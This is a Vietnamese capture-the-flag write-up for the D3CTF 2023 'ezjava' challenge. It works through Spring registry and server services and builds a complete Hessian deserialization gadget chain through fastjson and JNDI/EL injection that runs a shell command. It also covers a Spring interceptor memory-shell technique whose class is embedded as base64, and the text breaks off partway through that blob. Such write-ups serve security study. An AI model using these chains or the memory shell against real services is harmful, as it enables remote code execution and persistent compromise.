Source: https://github.com/to016/CTFs/tree/main/2023/d3ctf/ezjava
Gồm 2 services registry
(public) và server
(internal)
flag được lưu bên phía server
Cả 2 đều được build dựa trên spring framework
Về phần registry
ta thấy có định nghĩa về controller cũng như các "serializer"
MainController.java
package com.example.registry.controller;
import com.alibaba.fastjson2.JSON;
import com.example.registry.data.Blacklist;
import com.example.registry.data.Result;
import com.example.registry.util.DefaultSerializer;
import com.example.registry.util.HessianSerializer;
import com.example.registry.util.Request;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
@Tag(
name = "Registry Controller"
)
@RestController
public class MainController {
public MainController() {
}
@Operation(
description = "hello for all"
)
@GetMapping({"/"})
public String hello() {
return "hello";
}
@Operation(
description = "registry will request client '/status' to get client status."
)
@GetMapping({"/client/status"})
public Result clientStatus() {
try {
String json = Request.get("http://server:8080/status");
return (Result)JSON.parseObject(json, Result.class);
} catch (Exception var2) {
return Result.of("500", "client is down");
}
}
@Operation(
description = "return serialized blacklist for client. Client will require blacklist every 10 sec."
)
@GetMapping({"/blacklist/jdk/get"})
public Result getBlacklist() {
String data = "";
String code = "200";
try {
data = DefaultSerializer.serialize(Blacklist.readBlackList("security/jdk_blacklist.txt"));
} catch (Exception var4) {
data = var4.getMessage();
code = "500";
}
return Result.of("200", data);
}
@Operation(
description = "get serialized blacklist for registry"
)
@GetMapping({"/blacklist/hessian/get"})
public Result getHessianBlacklist() {
String data = "";
String code = "200";
try {
data = DefaultSerializer.serialize(Blacklist.hessianBlackList);
} catch (Exception var4) {
data = var4.getMessage();
code = "500";
}
return Result.of("200", data);
}
@Operation(
description = "deserialize base64Str using hessian"
)
@PostMapping({"/hessian/deserialize"})
public Result deserialize(String base64Str) {
String data = "";
String code = "200";
try {
byte[] serialized = Base64.getDecoder().decode(base64Str);
HessianSerializer.deserialize(serialized);
data = "deserialize success";
} catch (Exception var5) {
data = "error: " + var5.getMessage();
code = "500";
}
return Result.of(code, data);
}
}
Tổng quan về các endpoint:
/
- trả về "hello"/client/status
- gửi request đến http://server:8080/status
và trả về response tương ứng./blacklist/jdk/get
- đọc "security/jdk_blacklist.txt" sau đó đưa dữ liệu vào một List và trả về dạng serialize đã được base64 encode của nó.DefaultSerializer
sử dụng ObjectInputStream
cho việc serialize
/blacklist/hessian/get
- tương tự như endpoint vừa đề cập ở trên nhưng đọc từ "security/hessian_blacklist.txt"./hessian/deserialize
- deserialize data từ POST param base64Str
-> Insecure deserializationHessianSerializer
sử dụng SOFA-Hessian - ở version này cung cấp thêm cơ chế filtering các class được deserialize thông qua ClassNameResolver
.
hessian_blacklist.txt bao gồm các blacklisted class, thường được dùng trong các chain của hessian
Bên cạnh đó, cả registry và server đều build dựa trên spring, việc chuyển đổi từ json object sang string và ngược lại được hỗ trợ bởi thư viện fastjson
Về serialization/deserialization mechanism
Trong Java, quá trình serialization thực hiện chuyển đổi java object sang dạng byte stream để truyền hoặc lưu trữ. Mặt khác, quá trình deserialization được dùng để khôi phục lại object từ chuỗi bytes. Cơ chế serialization/deserialization có thể được chia ra thành 2 loại
Sự khác biệt cơ bản nhất giữa chúng nằm ở cách set attribute cho object. Đối với "Bean attribute access mechanism", thực hiện gọi các getter và setter method để truy cập đến object properties dựa trên reflection. Việc tự động gọi đến các method trên một object sẽ khiến cho attack surface của cơ chế này lớn hơn so với "Field-based mechanism".
Deserialization dựa trên Field mechanism thực hiện gán giá trị cho Field thông qua các native method, thay vì các setter và getter. Attack surface của cơ chế này không rộng như cái đã đề cập trước đó nhưng vẫn có thể lợi dụng để khai thác.
Đối với các kiểu collections nói riêng hay các loại khác nói chung không thể transmitted/stored runtime representation của object (ví dụ như Map lưu thông tin về hashcode của object tại runtime nhưng lại không thực hiện quá trình này khi storing). Điều đó có nghĩa là các field based marshallers sẽ có một converters riêng cho từng type. Các converters này thường sẽ phải invoke method trên object (attacker-provided object), mục đích của việc này là để khôi phục lại đúng hiện trạng của object ban đầu.
Chẳng hạn như trong Hessian, nếu Map type được deserialized, MapDeserializer
sẽ đảm nhiệm việc xử lí Map object. Trong khoảng thời gian đó, method put()
của map sẽ được gọi để tính toán hash của recovered object và dẫn đến hashcode()
call. Tùy vào từng tình huống mà có thể dẫn đến việc phát sinh thêm các method calls khác.
Quay trở lại bài ctf này, việc sử dụng hessian để deseri bất kì dữ liệu gì nhận từ POST request có thể lợi dụng để trigger các method như hashCode()
, equals()
, toString()
. Về hessian, trong quá khứ đã có sẵn một vài gadget, SpringPartiallyComparableAdvisorHolder
là một trong số đó nhưng không thể bê y nguyên payload đã có sẵn để áp dụng vào bài này bởi vì một vài class trong chain đã bị blasklist.
Ý tưởng ở đây vẫn dựa trên SpringPartiallyComparableAdvisorHolder
, nhưng sẽ đi tìm các class để thay thế và mục tiêu là trigger JSONObject.toString()
(tại sao thì ở phần sau mình sẽ giải thích)
SpringPartiallyComparableAdvisorHolder
chain:
String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
//BeanFactoryAspectInstanceFactory.getOrder is called when deserializing,it Will trigger the call SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
//AspectJAroundAdvice.getOrder is called when deserializing,it will trigger the call BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);
//AspectJPointcutAdvisor.getOrder is called when deserializing, it will trigger the call AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
//PartiallyComparableAdvisorHolder.toString is called when deserializing, it will trigger the call AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
//Xstring.equals is called when deserializing, it will trigger the call PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
//HotSwappableTargetSource.equals is called when deserializing, it will trigger the call Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));
//HashMap.putVal is called when deserializing, it will trigger the call HotSwappableTargetSource.equals. There is no direct use of the HashMap.put setting value. Direct put will trigger the utilization chain locally, so using marshalsec uses a more special processing method.
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
MapDeserializer.readMap()
được gọi khi deseri Map type và trigger Map.put()
Gọi đến HashMap.put()
với method hash()
thực chất là gọi đến key.hashCode()
Do đó, class HotSwappableTargetSource
được sử dụng vì method hashCode()
của nó trả về một giá trị cố định
Tiếp tục F7, equals()
method tại HashMap.putVal()
sẽ được trigger tại lần put()
thứ hai. Bởi lẽ p.hash == hash
và p.key != key
Trong chain gốc, XString
được dùng để trigger method toString()
của PartiallyComparableAdvisorHolder
và cuối cùng dẫn đến jndi injection.
XString.equals(PartiallyComparableAdvisorHolder)
PartiallyComparableAdvisorHolder.toString()
AspectJPointcutAdvisor.getOrder()
AspectJAroundAdvice.getOrder()
BeanFactoryAspectInstanceFactory.getOrder()
SimpleJndiBeanFactory.getType()
SimpleJndiBeanFactory.doGetType()
SimpleJndiBeanFactory.doGetSingleton()
SimpleJndiBeanFactory.lookup()
JndiTemplate.lookup()
Context.lookup()
Nhưng như đã nói, vì một vài class trong chain đã bị blacklist bao gồm cả XString
vì thế sẽ cần phải tìm một con đường khác.
Mình có để ý đến một điểm trong source code đó là ở class Result
, kiểu của field message
đáng lẽ ra phải là String
nhưng thay vào đó lại là Object
package com.example.registry.data;
public class Result {
private Object message;
private String code;
public Result(String code, String message) {
this.message = message;
this.code = code;
}
public static Result of(String code, String message) {
return new Result(code, message);
}
public Object getMessage() {
return this.message;
}
public void setMessage(String message) {
this.message = message;
}
public String getCode() {
return this.code;
}
public void setCode(String code) {
this.code = code;
}
public boolean equals(Object o) {
if (this == o) {
return true;
} else {
return o != null && this.getClass() == o.getClass() ? this.toString().equals(o.toString()) : false;
}
}
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append(this.code);
sb.append(this.message);
return sb.toString();
}
}
Suy ra có thể lợi dụng class này để trigger method toString()
trên object message
. Cụ thể là tại method equals()
, nếu this.getClass() == o.getClass()
thì sẽ call đến o.toString()
.
Ta sẽ khởi tạo o
là một instance của class Result
với message
là một JSONObject (vì đang cần trigger JSONObject.toString()
😁)
Result result1 = new Result("cccc1", "cccc1");
Result result2 = new Result("cccc2", "cccc2");
Reflections.setFieldValue(result1, "message", jsonObject);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(result1);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(result2);
StringBuilder.append()
sẽ gọi đến String.valueOf()
và method toString()
sẽ được gọi tại đây
Call stack:
toString:1028, JSONObject (com.alibaba.fastjson)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:43, Result (com.example.registry.data)
equals:36, Result (com.example.registry.data)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:562, SerializerFactory (com.caucho.hessian.io)
readObject:2883, Hessian2Input (com.caucho.hessian.io)
deserialize:61, Main (com.hessian)
main:114, Main (com.hessian)
Ngoài chain đề cập ở trên thì vẫn còn một chain khác vẫn có thể được dùng để khai thác jndi injection -> Resin
Ý tưởng là trigger method getTargetContext()
của ContinuationDirContext
NamingManager.getContext()
call NamingManager.getObjectInstance()
và gọi tới NamingManager.getObjectFactoryFromReference()
Cần lưu ý một điều, version jdk của bài là 8u342 > 8u191 vì thế mặc định thuộc tính trustURLCodebase sẽ là false và không thể remote load class.
Nhưng vẫn có thể lợi dụng để load các class từ class path (dòng 146) miễn là implement javax.naming.spi.ObjectFactory
và có định nghĩa method getObjectInstance()
.
-> org.apache.naming.factory.BeanFactory
có thể được dùng để invoke setter method và khai thác expression language injection, sử dụng javascript engine trong java để thực thi code.
=> Vậy sẽ cần tìm cách để gọi đến ContinuationDirContext.getTargetContext()
Như đã nói ở trên, fastjson được tích hợp vào ứng dụng để dùng trong việc convert json sang string. Vẫn "trong quá khứ" 😙, người ta lợi dụng JSONObject.toString()
để khai thác json deseri, cụ thể là invoke các getter method.
BeanUtils.getters()
methodName
phải bắt đầu với "get" và có length > 4Call stack:
getters:810, BeanUtils (com.alibaba.fastjson2.util)
createObjectWriter:251, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)
getObjectWriter:318, ObjectWriterProvider (com.alibaba.fastjson2.writer)
getObjectWriter:507, JSONWriter (com.alibaba.fastjson2)
write:528, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
toJSONString:2388, JSON (com.alibaba.fastjson2)
toString:1028, JSONObject (com.alibaba.fastjson)
valueOf:2994, String (java.lang)
append:136, StringBuilder (java.lang)
toString:50, Result (com.example.registry.data)
equals:43, Result (com.example.registry.data)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:636, HashMap (java.util)
put:613, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:562, SerializerFactory (com.caucho.hessian.io)
readObject:2883, Hessian2Input (com.caucho.hessian.io)
deserialize:34, HessianSerializer (com.example.registry.util)
deserialize:77, MainController (com.example.registry.controller)
...
Tiếp tục debug để quay về ObjectWriterImplMap.write()
, lúc này valueWriter
bao gồm hai thuộc tính fieldWriter0
và fieldWriter1
chứa field name và getter method tương ứng.
Call stack đến org.apache.naming.factory.BeanFactory#getObjectInstance()
getObjectInstance:118, BeanFactory (org.apache.naming.factory)
getObjectInstance:332, NamingManager (javax.naming.spi)
getContext:450, NamingManager (javax.naming.spi)
getTargetContext:55, ContinuationContext (javax.naming.spi)
getEnvironment:197, ContinuationContext (javax.naming.spi)
apply:-1, 758686135 (javax.naming.spi.ContinuationDirContext$$Lambda$609)
getFieldValue:36, FieldWriterObjectFunc (com.alibaba.fastjson2.writer)
write:189, FieldWriterObject (com.alibaba.fastjson2.writer)
write:76, ObjectWriter2 (com.alibaba.fastjson2.writer)
write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
...
package com.hessian;
import com.alibaba.fastjson.JSONObject;
import com.alipay.hessian.ClassNameResolver;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.HessianOutput;
import com.example.registry.data.Result;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import io.swagger.v3.core.util.Json;
import org.apache.naming.ResourceRef;
import org.hibernate.metamodel.source.annotations.ReflectionHelper;
import org.springframework.aop.target.HotSwappableTargetSource;
import ysoserial.payloads.util.Reflections;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class Main {
public static <T> byte[] serialize(T o) throws IOException, IOException {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ByteArrayOutputStream bao = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(bao);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);
output.close();
bao.writeTo(fileOutputStream);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(bai);
Object o = input.readObject();
return (T) o;
}
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("javax.naming.spi.ContinuationDirContext").getDeclaredConstructors()[0];
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Reflections.setFieldValue(cpe, "cause", null);
Reflections.setFieldValue(cpe, "stackTrace", null);
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor",
null, "", "",
true,"org.apache.naming.factory.BeanFactory",
null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','touch /tmp/to016']).start()\")}"));
cpe.setResolvedObj(ref);
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) constructor.newInstance(cpe, new Hashtable<>());
JSONObject jsonObject = new JSONObject();
jsonObject.put("xxxx", ctx);
Result result1 = new Result("cccc1", "cccc1");
Result result2 = new Result("cccc2", "cccc2");
Reflections.setFieldValue(result1, "message", jsonObject);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(result1);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(result2);
HashMap hm = makeMap(v1, v2);
byte[] s = serialize(hm);
System.out.println((Result)deserialize(s));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
Kết quả:
Về phần server
, chỉ có một endpoint /status
IndexController.java
package com.example.server.controller;
import com.alibaba.fastjson2.JSON;
import com.example.server.data.Result;
import com.example.server.util.DefaultSerializer;
import com.example.server.util.Request;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class IndexController {
public static List<String> denyClasses = new ArrayList();
public static long lastTimestamp = 0L;
public IndexController() {
}
@GetMapping({"/status"})
public Result status() {
String msg;
try {
long currentTimestamp = System.currentTimeMillis();
msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
if (currentTimestamp - lastTimestamp > 10000L) {
this.update();
lastTimestamp = System.currentTimeMillis();
}
} catch (Exception var4) {
msg = "client is online";
}
return Result.of("200", msg);
}
public void update() {
try {
String registry = "http://registry:8080/blacklist/jdk/get";
String json = Request.get(registry);
Result result = (Result)JSON.parseObject(json, Result.class);
Object msg = result.getMessage();
if (msg instanceof String) {
byte[] data = Base64.getDecoder().decode((String)msg);
denyClasses = (List)DefaultSerializer.deserialize(data, denyClasses);
} else if (msg instanceof List) {
denyClasses = (List)msg;
}
} catch (Exception var6) {
var6.printStackTrace();
}
}
}
Nhiệm vụ: gửi request đến http://registry:8080/blacklist/jdk/get
, sau đó check nếu msg
là instance của String -> thực hiện deserialize thông qua DefaultSerializer
và update lại denyClasses
DefaultSerializer.deserialize()
thực hiện deseri với AntObjectInputStream
Class này định nghĩa lại method resolveClass
từ ObjectInputStream và thêm vào cơ chế "look-ahead ObjectInputStream mitigation", với denyClasses
lấy từ tham số của hàm.
Tới đây, mình nhận thấy bóng dáng của look-ahead deserialization bypass nhưng các class bị blacklist vẫn khá nhiều nên sau một hồi thử thì mình quyết định không tiếp cận theo hướng này nữa 🥺🏳️🏳️🏳️.
Ý tưởng từ official wu là "tomcat memory horse attack", vì hiện tại ta đã có thể kiểm soát được registry nên có thể add một malicious filter tại /blacklist/jdk/get
và lợi dụng update lại denyClasses
, cuối cùng là trả về payload để khai thác insecure deserialize bên phía server. Tuy nhiên ở bài viết này mình sẽ dùng một kĩ thuật khác có tên gọi là spring interceptor memory horse.
Về vị trí đặt của Filters và Interceptors:
Filters intercept các requests trước khi chúng đến DispatcherServlet. HandlerInterceptors, mặc khác, intercepts requests giữa DispatcherServlet và Controllers.
Chi tiết về kĩ thuật này mọi người có thể tham khảo tại link sau:
https://www.soughttech.com/front/article/977/viewArticle
Sơ lược về ý tưởng
Call stack đến một interceptor sẽ như sau
preHandle:31, TestInterceptor
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang
DispatcherServlet.doDispatch()
gọi đến getHandler()
để lấy giá trị cho mappedHandler
Sau đó gọi đến applyPreHandler()
Tại đây, method preHandle()
của các interceptor được gọi đến để intercept request
Cùng xem nơi mà chúng được gán giá trị
org.springframework.web.servlet.DispatcherServlet#getHandler()
Duyệt qua các phần tử trong handlerMappings
và call HandlerMapping.getHandler()
Thực chất là gọi đến org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler()
Đi vào method getHandlerExecutionChain()
, ta thấy nó duyệt qua các phần tử trong adaptedInterceptors
và nếu phần tử đó là một instance của MappedInterceptor
-> thực hiện add vào chain.
Vậy idea sẽ là bằng cách nào đó lấy ra được adaptedInterceptors
trong org.springframework.web.servlet.handler.AbstractHandlerMapping
sau đó thêm malicious interceptor vào là xong.
Dựng một spring application để test, với các controller:
package com.example.springmemshell.controller;
import javassist.CannotCompileException;
import javassist.NotFoundException;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
@Controller
public class MainController {
@RequestMapping(value = { "/" })
@ResponseBody
public String index(){
return "Hi index!!!";
}
@RequestMapping(value = { "/exp" })
@ResponseBody
public String test() {
String className = "ExploitInterceptor";
// base64 encode of "ExploitInterceptor.class"
String b64 = "yv66vgAAADQAxAsALQBkCwAtAGULAGYAZwgAaAoAaQBqCABrBwBsCgAHAG0IAG4KAAcAbwoABwBwCABxCAByCwBzAHQLAHMAdQoAdgB3CgB2AHgKAHYAeQoALAB6CgB7AHwIAH0LAH4AfwcAgAgAUAsAFwCBBwCCCABUCgCDAIQKAIUAhgoAhQCHBwCICgAfAIkKAB8AigcAiwkAjACNCACOCgCPAJAIAJEKACIAbQoAHwCSBwCTBwCUCgAqAJUHAJYHAJcBAARudW1zAQABSQEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAUTEV4cGxvaXRJbnRlcmNlcHRvcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAApFeGNlcHRpb25zAQAQTWV0aG9kUGFyYW1ldGVycwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAARjb2RlAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQANU3RhY2tNYXBUYWJsZQEABjxpbml0PgEAAygpVgEAAWkBAAdjb250ZXh0AQAwTG9yZy9zcHJpbmdmcmFtZXdvcmsvY29udGV4dC9BcHBsaWNhdGlvbkNvbnRleHQ7AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAQExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZzsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQASZXhwbG9pdEludGVyY2VwdG9yAQABZQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwcAiwcAgAcAggcAmAcAiAcAkwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAAWEBAApTb3VyY2VGaWxlAQAXRXhwbG9pdEludGVyY2VwdG9yLmphdmEMADAAMQwAQQBCBwCZDACaAJsBAAQvZ2VuBwCcDACdAJ4BAKR7ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoick8wQUJYTnlBQk5xWVhaaExuVjBhV3d1UVhKeVlYbE1hWE4wZUlIU0habkhZWjBEQUFGSkFBUnphWHBsZUhBQUFBQUJkd1FBQUFBQmRBQXBiM0puTG1waWIzTnpMbkJ5YjNoNUxtVnFZaTUgb1lXNWtiR1V1U0c5dFpVaGhibVJzWlVsdGNHeDQifQEAEWphdmEvdXRpbC9TY2FubmVyDABLAGABAAJcQQwAnwCgDAChAJsBAAxDb250ZW50LVR5cGUBAB5hcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9VVRGLTgHAKIMAKMApAwApQCmBwCnDACoAGAMAKkATAwAqgBMDABLAEwHAKsMAKwArQEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcArgwArwCwAQAub3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dAwAsQCyAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHALMMALQAtQcAmAwAtgC3DAC4ALkBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAC6ALsMALgAvAEAEkV4cGxvaXRJbnRlcmNlcHRvcgcAvQwAvgC/AQAeVGVtcEludGVyY2VwdG9yIGhhcyBiZWVuIGFkZGVkBwDADADBAGABAAZibGFibGEMAMIAngEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwASwDDAQAQamF2YS9sYW5nL09iamVjdAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQANZ2V0UmVxdWVzdFVSSQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N0cmluZwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWFkZEhlYWRlcgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAFZmx1c2gBAAVjbG9zZQEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjd